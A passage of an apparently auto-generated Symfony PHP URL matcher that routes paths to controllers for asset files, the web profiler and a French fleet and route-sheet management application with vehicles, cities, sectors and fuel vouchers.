return array ( '_controller' => 'assetic.controller:render', 'name' => '02197b4', 'pos' => 0, '_format' => 'js', '_route' => '_assetic_02197b4_0',);
}
// _assetic_02197b4_1
if ($pathinfo === '/js/compiled/main_part_1_ajaxMissionaffretement_2.js') {
return array ( '_controller' => 'assetic.controller:render', 'name' => '02197b4', 'pos' => 1, '_format' => 'js', '_route' => '_assetic_02197b4_1',);
}
}
if (0 === strpos($pathinfo, '/js/compiled/main_part_1_bootstrap')) {
// _assetic_02197b4_2
if ($pathinfo === '/js/compiled/main_part_1_bootstrap_3.js') {
return array ( '_controller' => 'assetic.controller:render', 'name' => '02197b4', 'pos' => 2, '_format' => 'js', '_route' => '_assetic_02197b4_2',);
}
// _assetic_02197b4_3
if ($pathinfo === '/js/compiled/main_part_1_bootstrap.min_4.js') {
return array ( '_controller' => 'assetic.controller:render', 'name' => '02197b4', 'pos' => 3, '_format' => 'js', '_route' => '_assetic_02197b4_3',);
}
}
// _assetic_02197b4_4
if ($pathinfo === '/js/compiled/main_part_1_combobox_5.js') {
return array ( '_controller' => 'assetic.controller:render', 'name' => '02197b4', 'pos' => 4, '_format' => 'js', '_route' => '_assetic_02197b4_4',);
}
// _assetic_02197b4_5
if ($pathinfo === '/js/compiled/main_part_1_dialoger_6.js') {
return array ( '_controller' => 'assetic.controller:render', 'name' => '02197b4', 'pos' => 5, '_format' => 'js', '_route' => '_assetic_02197b4_5',);
}
// _assetic_02197b4_6
if ($pathinfo === '/js/compiled/main_part_1_feuillederoute_7.js') {
return array ( '_controller' => 'assetic.controller:render', 'name' => '02197b4', 'pos' => 6, '_format' => 'js', '_route' => '_assetic_02197b4_6',);
}
if (0 === strpos($pathinfo, '/js/compiled/main_part_1_jquery')) {
if (0 === strpos($pathinfo, '/js/compiled/main_part_1_jquery-')) {
// _assetic_02197b4_7
if ($pathinfo === '/js/compiled/main_part_1_jquery-2.1.3.min_8.js') {
return array ( '_controller' => 'assetic.controller:render', 'name' => '02197b4', 'pos' => 7, '_format' => 'js', '_route' => '_assetic_02197b4_7',);
}
// _assetic_02197b4_8
if ($pathinfo === '/js/compiled/main_part_1_jquery-ui_9.js') {
return array ( '_controller' => 'assetic.controller:render', 'name' => '02197b4', 'pos' => 8, '_format' => 'js', '_route' => '_assetic_02197b4_8',);
}
}
if (0 === strpos($pathinfo, '/js/compiled/main_part_1_jquery.')) {
// _assetic_02197b4_9
if ($pathinfo === '/js/compiled/main_part_1_jquery.datetimepicker_10.js') {
return array ( '_controller' => 'assetic.controller:render', 'name' => '02197b4', 'pos' => 9, '_format' => 'js', '_route' => '_assetic_02197b4_9',);
}
// _assetic_02197b4_10
if ($pathinfo === '/js/compiled/main_part_1_jquery.scrollTo_11.js') {
return array ( '_controller' => 'assetic.controller:render', 'name' => '02197b4', 'pos' => 10, '_format' => 'js', '_route' => '_assetic_02197b4_10',);
}
}
// _assetic_02197b4_11
if ($pathinfo === '/js/compiled/main_part_1_jquery1_12.js') {
return array ( '_controller' => 'assetic.controller:render', 'name' => '02197b4', 'pos' => 11, '_format' => 'js', '_route' => '_assetic_02197b4_11',);
}
}
// _assetic_02197b4_12
if ($pathinfo === '/js/compiled/main_part_1_npm_13.js') {
return array ( '_controller' => 'assetic.controller:render', 'name' => '02197b4', 'pos' => 12, '_format' => 'js', '_route' => '_assetic_02197b4_12',);
}
// _assetic_02197b4_13
if ($pathinfo === '/js/compiled/main_part_1_role_14.js') {
return array ( '_controller' => 'assetic.controller:render', 'name' => '02197b4', 'pos' => 13, '_format' => 'js', '_route' => '_assetic_02197b4_13',);
}
// _assetic_02197b4_14
if ($pathinfo === '/js/compiled/main_part_1_timedate_15.js') {
return array ( '_controller' => 'assetic.controller:render', 'name' => '02197b4', 'pos' => 14, '_format' => 'js', '_route' => '_assetic_02197b4_14',);
}
}
}
if (0 === strpos($pathinfo, '/_')) {
// _wdt
if (0 === strpos($pathinfo, '/_wdt') && preg_match('#^/_wdt/(?P<token>[^/]++)$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => '_wdt')), array ( '_controller' => 'web_profiler.controller.profiler:toolbarAction',));
}
if (0 === strpos($pathinfo, '/_profiler')) {
// _profiler_home
if (rtrim($pathinfo, '/') === '/_profiler') {
if (substr($pathinfo, -1) !== '/') {
return $this->redirect($pathinfo.'/', '_profiler_home');
}
return array ( '_controller' => 'web_profiler.controller.profiler:homeAction', '_route' => '_profiler_home',);
}
if (0 === strpos($pathinfo, '/_profiler/search')) {
// _profiler_search
if ($pathinfo === '/_profiler/search') {
return array ( '_controller' => 'web_profiler.controller.profiler:searchAction', '_route' => '_profiler_search',);
}
// _profiler_search_bar
if ($pathinfo === '/_profiler/search_bar') {
return array ( '_controller' => 'web_profiler.controller.profiler:searchBarAction', '_route' => '_profiler_search_bar',);
}
}
// _profiler_purge
if ($pathinfo === '/_profiler/purge') {
return array ( '_controller' => 'web_profiler.controller.profiler:purgeAction', '_route' => '_profiler_purge',);
}
// _profiler_info
if (0 === strpos($pathinfo, '/_profiler/info') && preg_match('#^/_profiler/info/(?P<about>[^/]++)$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => '_profiler_info')), array ( '_controller' => 'web_profiler.controller.profiler:infoAction',));
}
// _profiler_phpinfo
if ($pathinfo === '/_profiler/phpinfo') {
return array ( '_controller' => 'web_profiler.controller.profiler:phpinfoAction', '_route' => '_profiler_phpinfo',);
}
// _profiler_search_results
if (preg_match('#^/_profiler/(?P<token>[^/]++)/search/results$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => '_profiler_search_results')), array ( '_controller' => 'web_profiler.controller.profiler:searchResultsAction',));
}
// _profiler
if (preg_match('#^/_profiler/(?P<token>[^/]++)$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => '_profiler')), array ( '_controller' => 'web_profiler.controller.profiler:panelAction',));
}
// _profiler_router
if (preg_match('#^/_profiler/(?P<token>[^/]++)/router$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => '_profiler_router')), array ( '_controller' => 'web_profiler.controller.router:panelAction',));
}
// _profiler_exception
if (preg_match('#^/_profiler/(?P<token>[^/]++)/exception$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => '_profiler_exception')), array ( '_controller' => 'web_profiler.controller.exception:showAction',));
}
// _profiler_exception_css
if (preg_match('#^/_profiler/(?P<token>[^/]++)/exception\\.css$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => '_profiler_exception_css')), array ( '_controller' => 'web_profiler.controller.exception:cssAction',));
}
}
if (0 === strpos($pathinfo, '/_configurator')) {
// _configurator_home
if (rtrim($pathinfo, '/') === '/_configurator') {
if (substr($pathinfo, -1) !== '/') {
return $this->redirect($pathinfo.'/', '_configurator_home');
}
return array ( '_controller' => 'Sensio\\Bundle\\DistributionBundle\\Controller\\ConfiguratorController::checkAction', '_route' => '_configurator_home',);
}
// _configurator_step
if (0 === strpos($pathinfo, '/_configurator/step') && preg_match('#^/_configurator/step/(?P<index>[^/]++)$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => '_configurator_step')), array ( '_controller' => 'Sensio\\Bundle\\DistributionBundle\\Controller\\ConfiguratorController::stepAction',));
}
// _configurator_final
if ($pathinfo === '/_configurator/final') {
return array ( '_controller' => 'Sensio\\Bundle\\DistributionBundle\\Controller\\ConfiguratorController::finalAction', '_route' => '_configurator_final',);
}
}
// _twig_error_test
if (0 === strpos($pathinfo, '/_error') && preg_match('#^/_error/(?P<code>\\d+)(?:\\.(?P<_format>[^/]++))?$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => '_twig_error_test')), array ( '_controller' => 'twig.controller.preview_error:previewErrorPageAction', '_format' => 'html',));
}
}
if (0 === strpos($pathinfo, '/user')) {
// user
if (rtrim($pathinfo, '/') === '/user') {
if (substr($pathinfo, -1) !== '/') {
return $this->redirect($pathinfo.'/', 'user');
}
return array ( '_controller' => 'Fdr\\UserBundle\\Controller\\UserController::indexAction', '_route' => 'user',);
}
// user_show
if (preg_match('#^/user/(?P<id>[^/]++)/show$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'user_show')), array ( '_controller' => 'Fdr\\UserBundle\\Controller\\UserController::showAction',));
}
// user_edit
if (preg_match('#^/user/(?P<id>[^/]++)/edit$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'user_edit')), array ( '_controller' => 'Fdr\\UserBundle\\Controller\\UserController::editAction',));
}
// user_update
if (preg_match('#^/user/(?P<id>[^/]++)/update$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('POST', 'PUT'))) {
$allow = array_merge($allow, array('POST', 'PUT'));
goto not_user_update;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'user_update')), array ( '_controller' => 'Fdr\\UserBundle\\Controller\\UserController::updateAction',));
}
not_user_update:
// user_delete
if (preg_match('#^/user/(?P<id>[^/]++)/delete$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('POST', 'DELETE'))) {
$allow = array_merge($allow, array('POST', 'DELETE'));
goto not_user_delete;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'user_delete')), array ( '_controller' => 'Fdr\\UserBundle\\Controller\\UserController::deleteAction',));
}
not_user_delete:
// user_recherche
if ($pathinfo === '/user/search') {
if (!in_array($this->context->getMethod(), array('GET', 'HEAD'))) {
$allow = array_merge($allow, array('GET', 'HEAD'));
goto not_user_recherche;
}
return array ( '_controller' => 'Fdr\\UserBundle\\Controller\\UserController::rechercheAction', '_route' => 'user_recherche',);
}
not_user_recherche:
}
// fdr_user_homepage
if (0 === strpos($pathinfo, '/hello') && preg_match('#^/hello/(?P<name>[^/]++)$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'fdr_user_homepage')), array ( '_controller' => 'Fdr\\UserBundle\\Controller\\DefaultController::indexAction',));
}
if (0 === strpos($pathinfo, '/parametrage')) {
// parametrage
if (rtrim($pathinfo, '/') === '/parametrage') {
if (substr($pathinfo, -1) !== '/') {
return $this->redirect($pathinfo.'/', 'parametrage');
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ParametrageController::editAction', '_route' => 'parametrage',);
}
// parametrage_update
if (preg_match('#^/parametrage/(?P<id>[^/]++)/update$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('POST', 'PUT'))) {
$allow = array_merge($allow, array('POST', 'PUT'));
goto not_parametrage_update;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'parametrage_update')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ParametrageController::updateAction',));
}
not_parametrage_update:
}
if (0 === strpos($pathinfo, '/feuillederoute')) {
// feuillederoute
if (rtrim($pathinfo, '/') === '/feuillederoute') {
if (substr($pathinfo, -1) !== '/') {
return $this->redirect($pathinfo.'/', 'feuillederoute');
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\FeuilleDeRouteController::indexAction', '_route' => 'feuillederoute',);
}
// feuillederoute_all
if ($pathinfo === '/feuillederoute/all') {
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\FeuilleDeRouteController::allAction', '_route' => 'feuillederoute_all',);
}
// feuillederoute_show
if (preg_match('#^/feuillederoute/(?P<id>[^/]++)/show$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'feuillederoute_show')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\FeuilleDeRouteController::showAction',));
}
// feuillederoute_new
if ($pathinfo === '/feuillederoute/new') {
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\FeuilleDeRouteController::newAction', '_route' => 'feuillederoute_new',);
}
if (0 === strpos($pathinfo, '/feuillederoute/create')) {
// feuillederoute_create
if ($pathinfo === '/feuillederoute/create/') {
if ($this->context->getMethod() != 'POST') {
$allow[] = 'POST';
goto not_feuillederoute_create;
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\FeuilleDeRouteController::createAction', 'idfdl' => NULL, '_route' => 'feuillederoute_create',);
}
not_feuillederoute_create:
// feuillederoute_create_idfdl
if (preg_match('#^/feuillederoute/create/(?P<idfdl>[^/]++)$#s', $pathinfo, $matches)) {
if ($this->context->getMethod() != 'POST') {
$allow[] = 'POST';
goto not_feuillederoute_create_idfdl;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'feuillederoute_create_idfdl')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\FeuilleDeRouteController::createAction',));
}
not_feuillederoute_create_idfdl:
}
// feuillederoute_editdebut
if (preg_match('#^/feuillederoute/(?P<id>[^/]++)/editdebut$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'feuillederoute_editdebut')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\FeuilleDeRouteController::editdebutAction',));
}
// feuillederoute_updatedebut
if (preg_match('#^/feuillederoute/(?P<id>[^/]++)/updatedebut$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('POST', 'PUT'))) {
$allow = array_merge($allow, array('POST', 'PUT'));
goto not_feuillederoute_updatedebut;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'feuillederoute_updatedebut')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\FeuilleDeRouteController::updatedebutAction',));
}
not_feuillederoute_updatedebut:
// feuillederoute_delete
if (preg_match('#^/feuillederoute/(?P<id>[^/]++)/delete$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('POST', 'DELETE'))) {
$allow = array_merge($allow, array('POST', 'DELETE'));
goto not_feuillederoute_delete;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'feuillederoute_delete')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\FeuilleDeRouteController::deleteAction',));
}
not_feuillederoute_delete:
// feuillederoute_updatecloture
if (preg_match('#^/feuillederoute/(?P<id>[^/]++)/cloture$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'feuillederoute_updatecloture')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\FeuilleDeRouteController::updateclotureAction',));
}
// feuillederoute_new_fdl
if (preg_match('#^/feuillederoute/(?P<id>\\d+)/new_fdl$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'feuillederoute_new_fdl')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\FeuilleDeRouteController::newfdlAction',));
}
// feuillederoute_apercu
if (preg_match('#^/feuillederoute/(?P<id>[^/]++)/apercu(?:/(?P<quoi>view|save))?$#s', $pathinfo, $matches)) {
if ($this->context->getMethod() != 'POST') {
$allow[] = 'POST';
goto not_feuillederoute_apercu;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'feuillederoute_apercu')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\FeuilleDeRouteController::apercuAction', 'quoi' => 'view',));
}
not_feuillederoute_apercu:
// feuillederoute_apercu_cloture
if (preg_match('#^/feuillederoute/(?P<id>[^/]++)/apercucloture(?:/(?P<quoi>view|save))?$#s', $pathinfo, $matches)) {
if ($this->context->getMethod() != 'POST') {
$allow[] = 'POST';
goto not_feuillederoute_apercu_cloture;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'feuillederoute_apercu_cloture')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\FeuilleDeRouteController::apercuClotureAction', 'quoi' => 'view',));
}
not_feuillederoute_apercu_cloture:
// feuillederoute_show_cloture
if (preg_match('#^/feuillederoute/(?P<id>[^/]++)/showcloture$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'feuillederoute_show_cloture')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\FeuilleDeRouteController::showClotureAction',));
}
// feuillederoute_chngeetat
if (preg_match('#^/feuillederoute/(?P<id>[^/]++)/etat/(?P<chngeetat>cloturer|annuler|ouverte)$#s', $pathinfo, $matches)) {
if ($this->context->getMethod() != 'POST') {
$allow[] = 'POST';
goto not_feuillederoute_chngeetat;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'feuillederoute_chngeetat')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\FeuilleDeRouteController::chngeetatAction',));
}
not_feuillederoute_chngeetat:
// feuillederoute_recherche
if ($pathinfo === '/feuillederoute/search') {
if (!in_array($this->context->getMethod(), array('GET', 'HEAD'))) {
$allow = array_merge($allow, array('GET', 'HEAD'));
goto not_feuillederoute_recherche;
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\FeuilleDeRouteController::rechercheAction', '_route' => 'feuillederoute_recherche',);
}
not_feuillederoute_recherche:
// groupeMateriel
if (0 === strpos($pathinfo, '/feuillederoute/groupes') && preg_match('#^/feuillederoute/groupes/(?P<dateDebut>[^/]++)/(?P<dateFin>[^/]++)/(?P<type>[^/]++)$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'groupeMateriel')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\FeuilleDeRouteController::groupeMaterielAction',));
}
// etatExcel
if (0 === strpos($pathinfo, '/feuillederoute/excel') && preg_match('#^/feuillederoute/excel/(?P<dateDebut>[^/]++)/(?P<dateFin>[^/]++)/(?P<type>[^/]++)/(?P<id>[^/]++)$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'etatExcel')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\FeuilleDeRouteController::phpToExcelAction',));
}
if (0 === strpos($pathinfo, '/feuillederoute/reporting')) {
// reporting
if ($pathinfo === '/feuillederoute/reporting') {
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\FeuilleDeRouteController::reportingAction', '_route' => 'reporting',);
}
// groupeVehicule
if (preg_match('#^/feuillederoute/reporting/(?P<type>[^/]++)/(?P<dateDebut>[^/]++)/(?P<dateFin>[^/]++)$#s', $pathinfo, $matches)) {
if ($this->context->getMethod() != 'POST') {
$allow[] = 'POST';
goto not_groupeVehicule;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'groupeVehicule')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\FeuilleDeRouteController::groupeVehiculeAction',));
}
not_groupeVehicule:
}
}
if (0 === strpos($pathinfo, '/ville')) {
// ville
if (rtrim($pathinfo, '/') === '/ville') {
if (substr($pathinfo, -1) !== '/') {
return $this->redirect($pathinfo.'/', 'ville');
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\VilleController::indexAction', '_route' => 'ville',);
}
// ville_show
if (preg_match('#^/ville/(?P<id>[^/]++)/show$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'ville_show')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\VilleController::showAction',));
}
// ville_new
if ($pathinfo === '/ville/new') {
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\VilleController::newAction', '_route' => 'ville_new',);
}
// ville_create
if ($pathinfo === '/ville/create') {
if ($this->context->getMethod() != 'POST') {
$allow[] = 'POST';
goto not_ville_create;
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\VilleController::createAction', '_route' => 'ville_create',);
}
not_ville_create:
// ville_edit
if (preg_match('#^/ville/(?P<id>[^/]++)/edit$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'ville_edit')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\VilleController::editAction',));
}
// ville_update
if (preg_match('#^/ville/(?P<id>[^/]++)/update$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('POST', 'PUT'))) {
$allow = array_merge($allow, array('POST', 'PUT'));
goto not_ville_update;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'ville_update')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\VilleController::updateAction',));
}
not_ville_update:
// ville_delete
if (preg_match('#^/ville/(?P<id>[^/]++)/delete$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('POST', 'DELETE'))) {
$allow = array_merge($allow, array('POST', 'DELETE'));
goto not_ville_delete;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'ville_delete')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\VilleController::deleteAction',));
}
not_ville_delete:
}
if (0 === strpos($pathinfo, '/typeprestation')) {
// typeprestation
if (rtrim($pathinfo, '/') === '/typeprestation') {
if (substr($pathinfo, -1) !== '/') {
return $this->redirect($pathinfo.'/', 'typeprestation');
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\TypePrestationController::indexAction', '_route' => 'typeprestation',);
}
// typeprestation_show
if (preg_match('#^/typeprestation/(?P<id>[^/]++)/show$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'typeprestation_show')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\TypePrestationController::showAction',));
}
// typeprestation_new
if ($pathinfo === '/typeprestation/new') {
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\TypePrestationController::newAction', '_route' => 'typeprestation_new',);
}
// typeprestation_create
if ($pathinfo === '/typeprestation/create') {
if ($this->context->getMethod() != 'POST') {
$allow[] = 'POST';
goto not_typeprestation_create;
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\TypePrestationController::createAction', '_route' => 'typeprestation_create',);
}
not_typeprestation_create:
// typeprestation_edit
if (preg_match('#^/typeprestation/(?P<id>[^/]++)/edit$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'typeprestation_edit')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\TypePrestationController::editAction',));
}
// typeprestation_update
if (preg_match('#^/typeprestation/(?P<id>[^/]++)/update$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('POST', 'PUT'))) {
$allow = array_merge($allow, array('POST', 'PUT'));
goto not_typeprestation_update;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'typeprestation_update')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\TypePrestationController::updateAction',));
}
not_typeprestation_update:
// typeprestation_delete
if (preg_match('#^/typeprestation/(?P<id>[^/]++)/delete$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('POST', 'DELETE'))) {
$allow = array_merge($allow, array('POST', 'DELETE'));
goto not_typeprestation_delete;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'typeprestation_delete')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\TypePrestationController::deleteAction',));
}
not_typeprestation_delete:
// typeprestation_recherche
if ($pathinfo === '/typeprestation/search') {
if (!in_array($this->context->getMethod(), array('GET', 'HEAD'))) {
$allow = array_merge($allow, array('GET', 'HEAD'));
goto not_typeprestation_recherche;
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\TypePrestationController::rechercheAction', '_route' => 'typeprestation_recherche',);
}
not_typeprestation_recherche:
}
if (0 === strpos($pathinfo, '/secteur')) {
// secteur
if (rtrim($pathinfo, '/') === '/secteur') {
if (substr($pathinfo, -1) !== '/') {
return $this->redirect($pathinfo.'/', 'secteur');
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\SecteurController::indexAction', '_route' => 'secteur',);
}
// secteur_show
if (preg_match('#^/secteur/(?P<id>[^/]++)/show$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'secteur_show')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\SecteurController::showAction',));
}
// secteur_new
if ($pathinfo === '/secteur/new') {
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\SecteurController::newAction', '_route' => 'secteur_new',);
}
// secteur_create
if ($pathinfo === '/secteur/create') {
if ($this->context->getMethod() != 'POST') {
$allow[] = 'POST';
goto not_secteur_create;
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\SecteurController::createAction', '_route' => 'secteur_create',);
}
not_secteur_create:
// secteur_edit
if (preg_match('#^/secteur/(?P<id>[^/]++)/edit$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'secteur_edit')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\SecteurController::editAction',));
}
// secteur_update
if (preg_match('#^/secteur/(?P<id>[^/]++)/update$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('POST', 'PUT'))) {
$allow = array_merge($allow, array('POST', 'PUT'));
goto not_secteur_update;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'secteur_update')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\SecteurController::updateAction',));
}
not_secteur_update:
// secteur_delete
if (preg_match('#^/secteur/(?P<id>[^/]++)/delete$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('POST', 'DELETE'))) {
$allow = array_merge($allow, array('POST', 'DELETE'));
goto not_secteur_delete;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'secteur_delete')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\SecteurController::deleteAction',));
}
not_secteur_delete:
}
if (0 === strpos($pathinfo, '/vehicule')) {
// vehicule
if (rtrim($pathinfo, '/') === '/vehicule') {
if (substr($pathinfo, -1) !== '/') {
return $this->redirect($pathinfo.'/', 'vehicule');
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\VehiculeController::indexAction', '_route' => 'vehicule',);
}
// vehicule_show
if (preg_match('#^/vehicule/(?P<id>[^/]++)/show$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'vehicule_show')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\VehiculeController::showAction',));
}
// vehicule_new
if ($pathinfo === '/vehicule/new') {
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\VehiculeController::newAction', '_route' => 'vehicule_new',);
}
// vehicule_create
if ($pathinfo === '/vehicule/create') {
if ($this->context->getMethod() != 'POST') {
$allow[] = 'POST';
goto not_vehicule_create;
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\VehiculeController::createAction', '_route' => 'vehicule_create',);
}
not_vehicule_create:
// vehicule_edit
if (preg_match('#^/vehicule/(?P<id>[^/]++)/edit$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'vehicule_edit')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\VehiculeController::editAction',));
}
// vehicule_update
if (preg_match('#^/vehicule/(?P<id>[^/]++)/update$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('POST', 'PUT'))) {
$allow = array_merge($allow, array('POST', 'PUT'));
goto not_vehicule_update;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'vehicule_update')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\VehiculeController::updateAction',));
}
not_vehicule_update:
// vehicule_vidange
if (preg_match('#^/vehicule/(?P<id>[^/]++)/vidange$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('POST', 'PUT'))) {
$allow = array_merge($allow, array('POST', 'PUT'));
goto not_vehicule_vidange;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'vehicule_vidange')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\VehiculeController::vidangeAction',));
}
not_vehicule_vidange:
// vehicule_delete
if (preg_match('#^/vehicule/(?P<id>[^/]++)/delete$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('POST', 'DELETE'))) {
$allow = array_merge($allow, array('POST', 'DELETE'));
goto not_vehicule_delete;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'vehicule_delete')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\VehiculeController::deleteAction',));
}
not_vehicule_delete:
// vehicule_recherche
if ($pathinfo === '/vehicule/search') {
if (!in_array($this->context->getMethod(), array('GET', 'HEAD'))) {
$allow = array_merge($allow, array('GET', 'HEAD'));
goto not_vehicule_recherche;
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\VehiculeController::rechercheAction', '_route' => 'vehicule_recherche',);
}
not_vehicule_recherche:
}
if (0 === strpos($pathinfo, '/boncarburanthuile')) {
// boncarburanthuile
if (rtrim($pathinfo, '/') === '/boncarburanthuile') {
if (substr($pathinfo, -1) !== '/') {
return $this->redirect($pathinfo.'/', 'boncarburanthuile');
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\BonCarburantHuileController::indexAction', '_route' => 'boncarburanthuile',);
}
// boncarburanthuile_show
if (preg_match('#^/boncarburanthuile/(?P<id>[^/]++)/show$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'boncarburanthuile_show')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\BonCarburantHuileController::showAction',));
}
}
if (0 === strpos($pathinfo, '/typeconsommation')) {
// typeconsommation
if (rtrim($pathinfo, '/') === '/typeconsommation') {
if (substr($pathinfo, -1) !== '/') {
return $this->redirect($pathinfo.'/', 'typeconsommation');
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\TypeConsommationController::indexAction', '_route' => 'typeconsommation',);
}
// typeconsommation_show
if (preg_match('#^/typeconsommation/(?P<id>[^/]++)/show$#s', $pathinfo, $matches)) {
